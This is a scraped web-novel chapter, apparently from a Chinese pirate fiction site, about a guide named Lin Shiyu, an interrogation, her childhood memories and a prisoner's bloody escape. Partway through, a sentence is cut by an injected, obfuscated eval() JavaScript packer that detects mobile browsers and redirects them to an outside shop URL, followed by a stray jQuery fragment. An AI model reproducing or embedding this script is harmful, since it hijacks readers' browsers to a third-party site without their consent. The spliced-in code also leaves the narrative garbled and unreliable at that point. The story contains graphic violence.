文趣网 > 其他小说 > 向导她什么时候能退休? > 26. 螳螂捕蝉
    审讯室的气氛剑拔弩张。

    灰茫稍稍往后一退,靠在椅背上:“没有证据的话,是不是该放了我呢。”

    森摩·安比列挡在林时雨面前,蓝色的眼眸如冰锋一般:“不,你已经被正式通缉了,灰茫·瑞比。”

    “绯茜向导的哨兵已经向我们告发,名为‘菲尔伯格’的反叛组织袭击了他们,而你,被指认为这次袭击的主谋。”

    灰茫这才正眼看向这位安比列家的大少爷。

    “苍天啊,诬陷人也要有个度吧,绯茜远巡的时候,我可正在以赛那边做任务呢。”

    “无需狡辩,灰茫,你现在是南之边界的一级罪犯,你就安心等待塔主回来迎接你的死讯吧。”

    森摩看向林时雨,眼中的急切不容忽视:“向导,审问还要继续吗?我是否可以履行我的职责了?”

    林时雨垂下头,回避所有人的视线。

    她还没有清除灰茫的精神污染。

    如果灰茫真的就这么死了,那么——

    那么什么?

    林时雨说不清。

    难过吗?

    但如果真相真的如她所猜测的一样,灰茫是这一切的罪魁祸首呢?

    她要亲眼看着灰茫死去吗?

    只是因为自己还没有得到父母的线索,林时雨想。

    仅此而已。

    她不想让灰茫死。

    没有什么别的理由。

    她还没有完成和灰茫的交易。

    如果灰茫真的就这么死了,那么关于父母的线索就真的石沉大海了。

    没有其它的理由,只是因为这个原因,她才不想让灰茫死。

    她抬起头,看向森摩:“在死刑之前,我会向科椿大人申请一场裁决会,在裁决结果出来之前,你们不能私自对她审问。”

    森摩深深地看了林时雨一眼。

    向导的眼神不再犹豫,很显然,她已经在挣扎中做出了决定。

    “我明白了。”他扭过头,嘱咐手下的哨兵:“好生照看她,这位可是向导的心尖宝。”

    门被大力推开,镣铐与铁链作响,灰茫脖颈被扣上抑制环,她被扣押着经过林时雨身旁。

    林时雨僵住身子。

    灰茫侧过头,她并不害怕,露出一点笑,朝林时雨无声地做出口型:

    【交易,还没结束。】

    执法哨兵们已经离开。

    空荡荡的审讯室内,林时雨握紧手心。

    她绝对,要尽快联系科椿。

    追出来的莱西蒲和祝翥还有些搞不清楚状况。

    他们迷茫地看着森摩押送着灰茫离开,又看着向导一个人孤零零地走下楼。

    “时雨大人——。”祝翥追了上去。

    “时雨大人,您……”

    话停在口中。

    祝翥呆呆地看着她。

    那是一双疲惫的眼睛,但疲倦之下,还有一点让她红了眼眶的脆弱。

    祝翥不忍心再问下去。

    绷紧的弦,随时都会断掉。

    林时雨安静地看着祝翥。

    尽管随着雏鸟依赖的结束,她已经不再坚持让初始哨兵们成为她的专属了。

    但她心中仍对祝翥保留最大的善意。

    而且,如果不是因为自己,祝翥和他的队友们都还能过着幸福顺遂的生活。

    林时雨压下心里溢出的不合时宜的想法。

    她没有等到祝翥开口,于是自己先向他道别:“我想休息一下,之后有什么想问的,可以之后联系我。”

    “恩迪尔特不是凶手,你有空的话,麻烦把他放出来吧。”

    她转身离去。

    白塔。

    向导一个人坐在沙发上。

    她应该休息一会,但是繁杂的心事压得她睡不着。

    “时雨大人。”小蒲飞到她身边,带着一点小心翼翼:“要处理艾瑟尔哨兵的遗事吗?”

    小蒲交给她一块U盘。

    艾瑟尔连尸体也没有留下。

    “他的日记,所有的外出去向,人生的一切轨迹,都被储存在这块U盘里。”

    小小的一块u盘,总结了他的一生。

    林时雨看着手心的U盘。

    “一定要让他的家人收到补偿费。”她叮嘱小蒲,声音有些哑。

    “要去见见艾瑟尔的父母吗?”小蒲问。

    林时雨不敢。

    林时雨感受过,失去亲人之后,刻骨铭心的痛苦。

    她不敢面对,那种等待孩子回家却发现永远等不到的绝望。

    林时雨没有小时候的记忆。

    爸爸妈妈说,她小时候太贪玩,掉进了雪山里。

    还好他们找到了她,但那时,她已经失去了意识。

    她虽然从医院里捡回来一条命,却也忘掉了从前的记忆。

    治病花了很多很多钱。

    父母都是哨兵,为了赚钱,他们每天都很忙碌,她几乎没有见过他们两人同时出现。

    永远是轮换着的,一个出门工作,一个留下来陪她。

    但林时雨知道,他们很爱自己。

    林时雨甚至不记得爸妈同时出现的场景。

    但他们都是很温柔的人。

    她们经常搬家。搬得太多次了,林时雨已经不记得父母最后一次离开时,那个家的模样。

    但她始终记得,爸爸妈妈陪伴自己的时光。

    她觉得自己长大了,所以不同意爸爸陪自己睡觉。

    那之后,妈妈出现的时间就多起来了。

    妈妈会陪自己睡觉。

    并且坚持

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609888|205908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    给她读睡前故事。

    于是白天爸爸陪着她,晚上就是妈妈陪伴她。

    妈妈会比爸爸更香,胸脯更加柔软。

    妈妈总喜欢抱着自己睡觉。

    林时雨还记得,随着自己的长大,睡裙已经有一些短了。

    那是妈妈第一次没有陪自己睡觉。

    “对不起,宝宝。妈妈今天不能陪你睡觉了。”妈妈脸很红,是真的生病了,不想把病传染给她。

    第二天,爸爸提着新买的衣服回来了。

    审讯室。

    听见脚步声,全身几乎浸泡在汗水里的男人抬起头。

    他脸上的潮红还没褪去,没有看到心中所想之人,他失落地垂下眼。

    “你可以走了,恩迪尔特。”

    “啊。”恩迪尔特发不出的声音,只能撑起身子朝门口爬去。

    镣铐在地上拖出刺耳的声响,他顾不上疼。

    祝翥看着狼狈的男人,他蹲下身,好心地替对方解开镣铐,解除掉使用光屏的限制。

    恩迪尔特感激地看了眼祝翥,他撑起身,颤抖地竖起光屏。

    【时雨向导在哪里?】

    祝翥看着那行字。

    “收起你做作的表情。”他的目光变得冰冷。

    “向导已经不要你了,蠢货。”

    他居高临下地看着恩迪尔特。

    不带一丝同情。

    禁闭室的角落。

    灰茫靠着冰冷的墙壁,仰头望着那扇唯一透进光的气窗。

    脖颈的抑制环沉重,她却自若地哼着曲子。

    “睡吧,睡吧,我亲爱的宝贝……”

    很久以前,还在实验室的时候,姐姐的母亲给姐姐讲过一个故事。

    后来姐姐也讲给了她听。

    关于卖火柴的小女孩。

    寒冷的冬天,卖火柴的小女孩气息微弱,她实在太冷了,于是点亮了三根火柴。

    随着那些火柴的燃烧,小女孩得到了温暖的火炉,美味的食物,爱她的家人。

    姐姐说,小女孩活过了那个冬天,她所点燃的火柴,会实现她的愿望。

    灰茫停下哼唱,她站起身,头朝着看守的大门撞击。

    整整三下。

    皮开肉绽。

    血顺着眉骨流下来,她却没有停下的打算,直到听见外面传来慌乱的脚步声。

    看守的守卫哨兵推开门:“你疯了吗?灰茫·瑞比?”

    随后,面皮从他的脸颊剥落,守卫的头咕噜一声倒下。

    从守卫的身体里,爬出来四肢钉着钉子的少年。那些钉子贯穿了他的手腕和脚踝。

    漂亮的奶油发色男孩笑意盈盈地站在她面前。

    秋,或者是Q,再一次询问她:“现在,你考虑加入我们了吗?”